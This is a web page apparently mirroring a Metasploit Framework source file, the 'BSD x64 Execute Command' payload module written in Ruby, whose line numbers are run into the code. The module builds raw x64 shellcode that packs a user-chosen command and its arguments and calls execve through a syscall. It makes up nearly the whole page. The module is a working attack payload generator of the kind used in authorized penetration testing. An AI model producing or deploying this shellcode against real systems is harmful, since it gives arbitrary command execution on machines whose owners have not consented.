Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/bsd/x64/exec.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6#7# Exec8# ----9#10# Executes an arbitrary command.11#12###13module MetasploitModule1415CachedSize = 311617include Msf::Payload::Single18include Msf::Payload::Bsd1920def initialize(info = {})21super(merge_info(info,22'Name' => 'BSD x64 Execute Command',23'Description' => 'Execute an arbitrary command',24'Author' => 'joev',25'License' => MSF_LICENSE,26'Platform' => 'bsd',27'Arch' => ARCH_X64))2829# Register exec options30register_options(31[32OptString.new('CMD', [ true, "The command string to execute" ]),33])34end3536#37# Dynamically builds the exec payload based on the user's options.38#39def generate(opts={})40cmd_str = datastore['CMD'] || ''41# Split the cmd string into arg chunks42cmd_parts = Shellwords.shellsplit(cmd_str)43cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact44arg_str = cmd_parts.map { |a| "#{a}\x00" }.join45call = "\xe8" + [arg_str.length].pack('V')46payload =47"\x48\x31\xd2"+ # xor rdx, rdx48call + # call CMD.len49arg_str + # CMD50"\x5f" + # pop rdi51if cmd_parts.length > 152"\x48\x89\xf9" + # mov rcx, rdi53"\x52" + # push rdx (null)54# for each arg, push its current memory location on to the stack55cmd_parts[1..-1].each_with_index.map do |arg, idx|56"\x48\x81\xc1" + # add rcx + ...57[cmd_parts[idx].length+1].pack('V') + #58"\x51" # push rcx (build str array)59end.join60else61"\x52" # push rdx (null)62end +63"\x57"+ # push rdi64"\x48\x89\xe6"+ # mov rsi, rsp65"\x48\x31\xc0"+ # xor rax, rax66"\x48\x83\xc8\x3b" + # or rax, 0x3b (execve)67"\x0f\x05" # syscall68end69end707172